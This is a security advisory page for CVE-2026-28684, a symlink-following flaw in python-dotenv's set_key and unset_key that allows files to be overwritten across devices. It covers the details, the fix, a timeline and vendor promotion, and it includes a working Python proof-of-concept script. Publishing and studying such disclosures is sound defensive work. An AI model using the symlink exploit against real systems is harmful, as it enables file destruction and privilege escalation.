CVE-2026-28684 is a medium-severity (CVSS 6.6) CWE-59 vulnerability in python-dotenv. A fix is available for python-dotenv — see the affected versions and patch details below.
python-dotenv: Symlink following in set_key allows arbitrary file overwrite via cross-device rename fallback
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-28684.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-28684 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
python-dotenvReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
set_key() and unset_key() in python-dotenv follow symbolic links when rewriting .env files, allowing a local attacker to overwrite arbitrary files via a crafted symlink when a cross-device rename fallback is triggered.
Details
The rewrite() context manager in dotenv/main.py is used by both set_key() and unset_key() to safely modify .env files. It works by writing to a temporary file (created in the system's default temp directory, typically /tmp) and then using shutil.move() to replace the original file.
When the .env path is a symbolic link and the temp directory resides on a different filesystem than the target (a common configuration on Linux systems using tmpfs for /tmp), the following sequence occurs:
shutil.move()first attemptsos.rename(), which fails with anOSErrorbecause atomic renames cannot cross device boundaries.- On failure,
shutil.move()falls back toshutil.copy2()followed byos.unlink(). shutil.copy2()callsshutil.copyfile()withfollow_symlinks=Trueby default.- This causes the content to be written to the symlink target rather than replacing the symlink itself.
An attacker who has write access to the directory containing a .env file can pre-place a symlink pointing to any file that the application process has write access to. When the application (or a privileged process such as a deploy script, Docker entrypoint, or CI pipeline) calls set_key() or unset_key(), the symlink target is overwritten with the new .env content.
This vulnerability does not require a race condition and is fully deterministic once the preconditions are met.
Impact
The primary impacts are to integrity and availability:
- File overwrite / destruction (DoS): An attacker can cause an application or privileged process to corrupt or destroy configuration files, database configs, or other sensitive files it would not normally have access to modify.
- Integrity violation: The target file's original content is replaced with
.env-formatted content controlled by the attacker. - Potential privilege escalation: In scenarios where a privileged process (running as root or a service account) calls
set_key(), the attacker can leverage this to write to files beyond their own access level.
The scope of impact depends on the application using python-dotenv and the privileges under which it runs.
Proof of Concept
The following script demonstrates the vulnerability. It requires /tmp and the user's home directory to reside on different devices (common on systemd-based Linux systems with tmpfs).
import os
import sys
import tempfile
from dotenv import set_key
# Pre-condition: /tmp must be on a different device than the target directory.
tmp_dev = os.stat("/tmp").st_dev
home_dev = os.stat(os.path.expanduser("~")).st_dev
assert tmp_dev != home_dev, "Skipped: /tmp and ~ are on the same device (no cross-device move)"
with tempfile.TemporaryDirectory(dir=os.path.expanduser("~")) as workdir:
# File an attacker wants to overwrite
target = os.path.join(workdir, "victim_config.txt")
with open(target, "w") as f:
f.write("DB_PASSWORD=supersecret\n")
# Attacker pre-places a symlink at the path the application will use as .env
env_symlink = os.path.join(workdir, ".env")
os.symlink(target, env_symlink)
before = open(target).read()
# Application writes a new key -- triggers the cross-device fallback
set_key(env_symlink, "INJECTED", "attacker_value")
after = open(target).read()
print("Before:", repr(before))
print("After: ", repr(after))
print("Symlink target overwritten:", target)
Expected output:
Before: 'DB_PASSWORD=supersecret\n'
After: "DB_PASSWORD=supersecret\nINJECTED='attacker_value'\n"
Symlink target overwritten: /home/user/tmp806nut2g/victim_config.txt
Remediation
The fix changes the rewrite() context manager in the following ways:
- Symlinks are no longer followed by default. When the
.envpath is a symlink,rewrite()now resolves it to the real path before proceeding, or (by default) operates on the symlink entry itself rather than the target. - A
follow_symlinks: bool = Falseparameter is added toset_key()andunset_key()for users who explicitly need the old behavior. - Temp files are written in the same directory as the target
.envfile (instead of the system temp directory), eliminating the cross-device rename condition entirely. os.replace()is used instead ofshutil.move(), providing atomic replacement without symlink-following fallback behavior.
Users are advised to upgrade to the patched version as soon as it is available on PyPI.
Timeline
| Date | Event |
|---|---|
| 2026-01-09 | Initial report received from Giorgos Tsigourakos regarding a separate, unrelated issue also located in rewrite() |
| 2026-01-10 | Co-maintainer acknowledged report, requested clarification |
| 2026-01-11 | Initial report assessed as not exploitable and closed |
| 2026-02-24 | Reporter identified new, distinct cross-device symlink attack vector with deterministic exploitation |
| 2026-02-26 | Co-maintainer confirmed vulnerability and shared draft patch |
| 2026-02-26 | Reporter validated fix with monkeypatched PoC, proposed CVSS |
| 2026-03-01 | Patch merged to main |
| 2026-03-01 | Patched version released to PyPI |
| 2026-04-20 | Advisory published |
Patches
Upgrade to v.1.2.2 or use the patch from https://github.com/theskumar/python-dotenv/commit/790c5c02991100aa1bf41ee5330aca75edc51311.patch
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | python-dotenv | all versions | 1.2.2pip install --upgrade 'python-dotenv==1.2.2' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for python-dotenv, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update python-dotenv to 1.2.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-28684 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-28684 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-28684. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat AI Inference Server 3.2 | rhaiis/model-opt-cuda-rhel9:1787772157 | RHSA-2026:61628 |
| Red Hat Ansible Automation Platform 2.6 | ansible-automation-platform-26/lightspeed-chatbot-rhel9:1780102732 | RHSA-2026:24866 |
| Red Hat Migration Toolkit for Applications 8.2 | mta/mta-solution-server-rhel9:1784109883 | RHSA-2026:43038 |
| Red Hat OpenShift AI 2.25 | rhoai/odh-feature-server-rhel9:1780069135 | RHSA-2026:24977 |
| Red Hat OpenShift AI 2.25 | rhoai/odh-caikit-tgis-serving-rhel9:1783082430 | RHSA-2026:42644 |
| Red Hat OpenShift AI 3.3 | rhoai/odh-feature-server-rhel9:1778239104 | RHSA-2026:19712 |
| Red Hat OpenShift AI 3.3 | rhoai/odh-trustyai-garak-lls-provider-dsp-rhel9:1782472374 | RHSA-2026:37275 |
| Red Hat Satellite 6.18 | satellite/iop-host-inventory-rhel9:1780414237 | RHSA-2026:26226 |
Frequently Asked Questions
Is CVE-2026-28684 in your dependencies?
O3 Security finds CVE-2026-28684 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.